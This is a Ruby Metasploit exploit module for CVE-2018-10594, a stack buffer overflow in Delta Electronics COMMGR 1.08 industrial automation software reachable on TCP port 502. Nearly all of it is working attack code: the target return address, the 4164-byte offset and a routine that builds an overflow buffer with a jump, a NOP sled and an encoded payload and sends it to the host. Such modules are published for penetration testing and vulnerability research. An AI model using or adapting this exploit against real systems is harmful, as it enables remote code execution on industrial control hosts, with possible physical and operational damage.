##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Delta Electronics Delta Industrial Automation COMMGR 1.08 Stack Buffer Overflow',
        'Description' => %q{
          This module exploits a stack based buffer overflow in Delta Electronics Delta Industrial
          Automation COMMGR 1.08. The vulnerability exists in COMMGR.exe when handling specially
          crafted packets. This module has been tested successfully on Delta Electronics Delta
          Industrial Automation COMMGR 1.08 over
          Windows XP SP3,
          Windows 7 SP1, and
          Windows 8.1.
        },
        'Author' => [
          'ZDI', # Initial discovery
          't4rkd3vilz', # PoC
          'hubertwslin' # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2018-10594' ],
          [ 'BID', '104529' ],
          [ 'ZDI', '18-586' ],
          [ 'ZDI', '18-588' ],
          [ 'EDB', '44965' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-172-01' ]
        ],
        'Payload' => {
          'Space' => 640,
          'DisableNops' => true,
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Platform' => 'win',
        'Targets' => [
          [
            'COMMGR 1.08 / Windows Universal',
            {
              'Ret' => 0x00401e14, # p/p/r COMMGR.exe
              'Offset' => 4164
            }
          ],
        ],
        'DisclosureDate' => '2018-07-02',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(502)
      ]
    )
  end

  def exploit
    data = rand_text_alpha(target['Offset'])
    data << "\xeb\x27\x90\x90" # jmp short $+27 to the NOP sled
    data << [target.ret].pack("V")
    data << make_nops(40)
    data << payload.encoded

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end
end
